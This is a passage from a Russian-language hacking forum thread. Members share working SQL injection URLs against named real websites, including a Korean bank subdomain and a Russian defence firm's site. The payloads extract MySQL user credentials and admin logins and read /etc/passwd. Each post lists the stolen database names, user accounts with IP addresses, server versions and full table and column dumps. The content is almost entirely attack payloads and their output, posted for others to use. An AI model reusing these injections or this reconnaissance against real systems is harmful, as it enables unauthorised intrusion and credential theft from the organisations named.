ANTICHAT — форум по информационной безопасности, OSINT и технологиям

хорошенький сайт)

http://www.ctclchina.com/news.php?aid=-45+union+select+1,2,3,concat_ws(0x3a,user,0x3a,pas sword,0x3a,file_priv),5,6,7,8,9+from+mysql.user
MySQL 5.0.51a-3ubuntu5.1
http://www.ctclchina.com/news.php?aid=-45+union+select+1,2,3,load_file(0x2F6574632F706173 737764),5,6,7,8,9 - чтение файлов на сервере (/etc/passwd)

http://chobags.us/products.php?id=-72+and+0+union+select+1,2,concat_ws(0x3a,version() ,database(),user(),@@version_compile_os),4,5,6,7,8 +--+&type=products
4.1.22-max-log
4bag4new
4bag4new@208.109.181.10
unknown-linux-gnu

http://www.coyc.ru/sauce.php?sid=-6+union+select+1,2,3,database()--
http://www.coyc.ru/sauce.php?sid=-1+UNION+SELECT+1,2,3,group_concat(table_name)+FROM +information_schema.tables+WHERE+table_schema=0x75 37363638395F636F7963--
http://www.coyc.ru/sauce.php?sid=-1+UNION+SELECT+1,2,3,group_concat(column_name)+FRO M+information_schema.columns+WHERE+table_schema=0x 7537363638395F636F7963+AND+table_name=0x6163636F75 6E7473--
http://www.coyc.ru/sauce.php?sid=-1+UNION+SELECT+1,2,3,group_concat(column_name)+FRO M+information_schema.columns+WHERE+table_schema=0x 7537363638395F636F7963+AND+table_name=0x7573657273--

sweb, постом

http://www.tayloralden.com/news.php?id=-13+union+select+1,group_concat(table_name),3,4,5,6 ,7,8+from+information_schema.tables--

http://www.almaz-antey.ru/news.php?id=-13+union+select+1,2,group_concat(table_name),4,5,6 ,7,8,9,10,11,12+from+information_schema.tables--

http://docksr.us/en/nieuws.php?id=56+and+0+union+select+1,2,id,login,p assword,6,7,8+from+users+--+

bpbux.info

woobux.com

-1-
target : http://www.stanadyne.com
Exploit: http://www.stanadyne.com/view.php?id=111+AND+1=2+UNION+SELECT+0,1,2,null,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
Database : stacms
User : stacms@97.74.24.95
Version : 5.0.67.d7-ourdelta-log
Contain :

[0]SSI_Customers: CustomerID,CustomerName,Abbriv
[1]SSI_GroupParts: ID,Group,PartNo,Quantity,X,Y,OnLine,IndentFlag,Col or
[2]SSI_GroupTypes: ID,Description
[3]SSI_Groups: ID,GroupID,PartNo,Quantity,X,Y,Indent,Note,GroupTy pe
[4]SSI_MasterPart: ID,PartNo,Description,Superceded
[5]SSI_Model: ID,Model,StanadynePN,CustomerID,CustomerPN,Engine, Application,Edition,ECN,Dated,Reman
[6]SSI_Model1: Model,StanadynePN,CustomerID,CustomerPN,Engine,App lication,Edition,ECN,Dated,Reman
[7]SSI_ModelAssemblys: ID,Model,Assembly
[8]SSI_ModelEditions: ID,Model,Edition,ECN,EditionDate
[9]SSI_ModelGroups: ID,Model,Group,Page,Position,GroupType
[10]SSI_Parts: PartNo,Description,Notes,Superseded,SA,PartNoDesc, AssemblyNo
[11]SSI_Parts1: PartNo,Description,Notes,Superseded
[12]SSI_RawServLit: ID,Type,Literature,Revision,SUBJECT,CUSTOMER,Model
[13]SSI_RawSubject: SUBJECT,RELATED,RELATED,RELATED
[14]SSI_RawXref: Model,Service,Parts,Service
[15]SSI_ServiceAssemblys: Assembly,Description
[16]SSI_SupersededParts: RecordID,PartNo,SupersededBy
.......

Example:
http://www.stanadyne.com/view.php?id=111+AND+1=2+UNION+SELECT+0,1,2,Custome rName,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 +from+SSI_Customers--


-2-
target : http://www.thedinah.com
Exploit: http://www.thedinah.com/votes/vote.php?id=7+AND+1=2+UNION+SELECT+0,null,2,3,4--
Database : thedi36_thedinah
User : thedi36_mariahus@localhost
Version : 5.0.81-community
Contain :

[0]td_adcontainer: ncontainerid,sname,sgroup,ssubgroup
[1]td_admin: slogin,spwd,ssmtpserver,ssmtpuserid,ssmtppwd,sfrom emailid,bapprovecomments,simagebordercolor,simageb orderwidth,svideobgcolor,bhidepreviewinbrowsemedia ,sbackgroundcolor,sbackgroundimage,busebackgroundi mage
[2]td_ads: nadid,simageurl,slinkurl,nmaximpressions,ncurrimpr essions,dcreatedon,nclicks,nwidth,nheight,nadconta iner,salternatetext,sscript
[3]td_album: nalbumid,sname,dcreated
[4]td_article: narticleid,nsectionid,dcreated,dmodified,dpublishe d,ncreatedby,nmodifiedby,stitle,ssummary,sbody,bal lowcomments,bapproveforpub,ballowrss,nweight,nview s,barchive,skeywords,nthumbnail,nheadingthumbnail
[5]td_articleads: nlinkid,narticleid,nadid,nposition
[6]td_articlemedia: nlinkid,narticleid,nmediaid,nposition
[7]td_comment: ncommentid,narticleid,nuserid,dpostedon,sbody,snam e,bapproved,napprovedby
[8]td_editors: neditorid,spwd,ddate,sname,bdisabled,simagefile,ba ddtolist,suserid,bownarticles,botherarticles,bownp ublish,botherpublish,bownedit,botheredit,bownmedia ,bothermedia,badmanager,bcategories,bowncomments,b othercomments,bhomepage,semail,bsignups,sinfo,bpho toalbum,nsort
[9]td_homepage: nthumbheight,nthumbwidth,nthumbwhatsupheight,nthum bwhatsupwidth,nrecentnewsitems,nwhatsuparticle,nla testmembers,nlatestblogs,nlatestvlogs,smainbtn1tex t,smainbtn2text,smainbtn3text,smainbtn4text,smainb tn5text,smainbtn1link,smainbtn2link,smainbtn3link, smainbtn5link,smainbtn4link,nrecentnewscat,swhatsu ptitle,srecentnewstitle,srecentblogstitle,sleftbar graphic,nhomepagearticle
[10]td_media: nmediaid,ntype,sfilename,scaption,skeywords,nwidth ,nheight,dcreatedon,naddedby,sthumbnail
[11]td_menu: nentryid,nsequence,nlevel,stext,surl,nparentid,nch ild
[12]td_pgroup: ngroupid,nalbumid,dcreated,sname
[13]td_photo: nphotoid,scaption,dcreated,sby,ngroupid,sfilename
[14]td_poll: npollid,bactive,squestion,soption1,soption2,soptio n3,soption4,soption5,nvotes1,nvotes2,nvotes3,nvote s4,nvotes5
[15]td_section: nsectionid,nparentsection,sname,sdescription
[16]td_subscribe: nid,semailid,ddate,bremove
[17]td_user: nuserid,susername,suserpwd,sfullname,semail,dsignu p,sactivationkey,spwdrecoverykey,bdisabled,simagef ile,slocation,scity,scountry
[18]td_vote: nvoteid,stitle,smatter,dcreated,nclosed
[19]td_votev: nlinkid,nvoteid,nmediaid,nvotes,nposition
[20]td_voting: nvoteid,nmemberid,dvote,nmediaid

Example:
http://www.thedinah.com/votes/vote.php?id=7+AND+1=2+UNION+SELECT+0,concat(slogin ,0x3a,spwd),2,3,4+from+td_admin--



-3-
target : http://eco.creditbank.co.kr/
Exploit: http://eco.creditbank.co.kr/dir.php?id=44+AND+1=2+UNION+SELECT+0,1,2,3,null,5, 6,7,8,9,10--
Databases :

• eco
• mysql
• test (empty)

User : eco@203.234.219.196
Version : 5.0.51b
Contain (eco) :

[0]zase_bbs_incruit_article: no,site_no,site_name,title,content,url,written,che cksum_no,indexed,regdate
[1]zase_bbs_incruit_checksum: no,prefix,suffix
[2]zase_bbs_notice_article: no,site_no,site_name,title,content,url,written,che cksum_no,indexed,regdate
[3]zase_bbs_notice_checksum: no,prefix,suffix
[4]zase_company_basic: no,bookcode_code1,bookcode_upchecd,bookcode_upjo_k ey,bookcode_upjo_name,bookcode_upname,bookcode_eng _name,sang1_homepage,sang1_addr_kor,sang1_tel,sang 1_intro,sang2_estab_date,sang2_list_date,sang2_old _upche,sang2_employee_low,sang2_rptv_kor,sang3_juj u_name1,sang3_juju_name2,sang3_juju_name3,sang3_sa le_name1,sang3_sale_name2,sang3_sale_name3,sang3_c urr_sale1,sang3_curr_sale2,sang3_curr_sale3,sang3_ profit_name1,sang3_profit_name2,sang3_profit_name3 ,sang3_profit_name4,sang3_curr_profit1,sang3_curr_ profit2,sang3_curr_profit3,sang3_curr_profit4,sang 3_export_ratio,sang2_inspect_corp,sang25_normal_st ,sang25_first_st,sang25_foreign,sang1_face_value,s ang2_fs_month,sang1_market_seg,regdate
[5]zase_company_eva_new: stockcd,year1,year2,year3,year4,noplat1,noplat2,no plat3,noplat4,ic1,ic2,ic3,ic4,roic1,roic2,roic3,ro ic4,wacc1,wacc2,wacc3,wacc4,eva1,eva2,eva3,eva4
[6]zase_company_sang04: stockcd,s0,s1,s2,s3,s4,s5_0,s5,s6,s7,s8,s9_0,s9,s1 0,s11,s12,s13_0,s13,s14,s15,s16,s49_0,s49,s50,s51, s52,s17_0,s17,s18,s19,s20,s29_0,s29,s30,s31,s32,s3 3_0,s33,s34,s35,s36,s57_0,s57,s58,s59,s60,s61_0,s6 1,s62,s63,s64,s45_0,s45,s46,s47,s48,s53_0,s53,s54, s55,s56
[7]zase_company_sang05: stockcd,bs1,bs2,bs3,bs4,bs5,bs6,bs7,bs8,bs9,bs10,b s11,bs12,bs13,bs14,bs15,bs16,bs17,bs18,bs19,bs20,b s21,bs22,bs23,bs24,bs25,bs26,bs27,bs28,bs29,bs30,b s31,bs32,bs33,bs34,bs35,bs36,bs37,bs38,bs39,bs40,b s41,bs42,bs43,bs44,bs45,bs46,bs47,bs48,bs49,bs50,b s51,bs52,bs53,bs54,bs55
[8]zase_company_sang06: stockcd,pl1,pl2,pl3,pl4,pl5,pl6,pl7,pl8,pl9,pl10,p l11,pl12,pl13,pl14,pl15,pl16,pl17,pl18,pl19,pl20,p l21,pl22,pl23,pl24,pl25,pl26,pl27,pl28,pl29,pl30,p l31,pl32,pl33,pl34,pl35,pl36,pl37,pl38,pl39,pl40,p l41,pl42,pl43,pl44,pl45,pl46,pl47,pl48,pl49,pl50,p l51,pl52,pl53,pl54,pl55,pl56,pl57,pl58,pl59,pl60,p l61,pl62,pl63,pl64,pl65,pl66,pl67,pl68,pl69,pl70,p l71,pl72,pl73,pl74,pl75,pl76,pl77,pl78,pl79,pl80
[9]zase_company_sang07: stockcd,rt1,rt2,rt3,rt4,rt5,rt6,rt7,rt8,rt9,rt10,r t11,rt12,rt13,rt14,rt15,rt16,rt17,rt18,rt19,rt20,r t21,rt22,rt23,rt24,rt25,rt26,rt27,rt28,rt29,rt30,r t31,rt32,rt33,rt34,rt35,rt36
[10]zase_company_sang28: stockcd,sale_incre1,sale_incre2,roe1,roe2,rt1,rt2, eps1,eps2
[11]zase_company_sang37_beta: stockcd,date1,date2,beta11,beta12,beta13,vola11,vo la12,vola13,beta21,beta22,beta23,vola21,vola22,vol a23
[12]zase_company_sang401: stockcd,title,wongo10,wongo20,wongo30
[13]zase_company_sang402: stockcd,title,wongo1,wongo2,wongo3
[14]zase_company_temp: no,bookcode_code1,bookcode_upname,sang1_homepage,o noff,regdate
[15]zase_company_tmp_basic: no,bookcode_code1,bookcode_upchecd,bookcode_upjo_k ey,bookcode_upjo_name,bookcode_upname,bookcode_eng _name,sang1_homepage,sang1_addr_kor,sang1_tel,sang 1_intro,sang2_estab_date,sang2_list_date,sang2_old _upche,sang2_employee_low,sang2_rptv_kor,sang3_juj u_name1,sang3_juju_name2,sang3_juju_name3,sang3_sa le_name1,sang3_sale_name2,sang3_sale_name3,sang3_c urr_sale1,sang3_curr_sale2,sang3_curr_sale3,sang3_ profit_name1,sang3_profit_name2,sang3_profit_name3 ,sang3_profit_name4,sang3_curr_profit1,sang3_curr_ profit2,sang3_curr_profit3,sang3_curr_profit4,sang 3_export_ratio,sang2_inspect_corp,sang25_normal_st ,sang25_first_st,sang25_foreign,sang1_face_value,s ang2_fs_month,sang1_market_seg,regdate
[16]zase_company_tmp_eva_new: stockcd,year1,year2,year3,year4,noplat1,noplat2,no plat3,noplat4,ic1,ic2,ic3,ic4,roic1,roic2,roic3,ro ic4,wacc1,wacc2,wacc3,wacc4,eva1,eva2,eva3,eva4
[17]zase_company_tmp_sang04: stockcd,s0,s1,s2,s3,s4,s5_0,s5,s6,s7,s8,s9_0,s9,s1 0,s11,s12,s13_0,s13,s14,s15,s16,s49_0,s49,s50,s51, s52,s17_0,s17,s18,s19,s20,s29_0,s29,s30,s31,s32,s3 3_0,s33,s34,s35,s36,s57_0,s57,s58,s59,s60,s61_0,s6 1,s62,s63,s64,s45_0,s45,s46,s47,s48,s53_0,s53,s54, s55,s56
[18]zase_company_tmp_sang05: stockcd,bs1,bs2,bs3,bs4,bs5,bs6,bs7,bs8,bs9,bs10,b s11,bs12,bs13,bs14,bs15,bs16,bs17,bs18,bs19,bs20,b s21,bs22,bs23,bs24,bs25

Contain (mysql) :

[0]columns_priv: Host,Db,User,Table_name,Column_name,Timestamp,Colu mn_priv
[1]db: Host,Db,User,Select_priv,Insert_priv,Update_priv,D elete_priv,Create_priv,Drop_priv,Grant_priv,Refere nces_priv,Index_priv,Alter_priv,Create_tmp_table_p riv,Lock_tables_priv,Create_view_priv,Show_view_pr iv,Create_routine_priv,Alter_routine_priv,Execute_ priv
[2]func: name,ret,dl,type
[3]help_category: help_category_id,name,parent_category_id,url
[4]help_keyword: help_keyword_id,name
[5]help_relation: help_topic_id,help_keyword_id
[6]help_topic: help_topic_id,name,help_category_id,description,ex ample,url
[7]db: Host,Db,User,Select_priv,Insert_priv,Update_priv,D elete_priv,Create_priv,Drop_priv,Grant_priv,Refere nces_priv,Index_priv,Alter_priv,Create_tmp_table_p riv,Lock_tables_priv,Create_view_priv,Show_view_pr iv,Create_routine_priv,Alter_routine_priv,Execute_ priv
[8]func: name,ret,dl,type
[9]help_category: help_category_id,name,parent_category_id,url
[10]help_keyword: help_keyword_id,name
[11]help_relation: help_topic_id,help_keyword_id
[12]help_topic: help_topic_id,name,help_category_id,description,ex ample,url
[13]host: Host,Db,Select_priv,Insert_priv,Update_priv,Delete _priv,Create_priv,Drop_priv,Grant_priv,References_ priv,Index_priv,Alter_priv,Create_tmp_table_priv,L ock_tables_priv,Create_view_priv,Show_view_priv,Cr eate_routine_priv

Example:
http://www.hemasolutions.com/query.php?id=13+AND+1=2+UNION+SELECT+0,concat(user s_name,0x3a,users_pass),2,3,4,5,6,7,8,9+from+hemas ol_hema.users--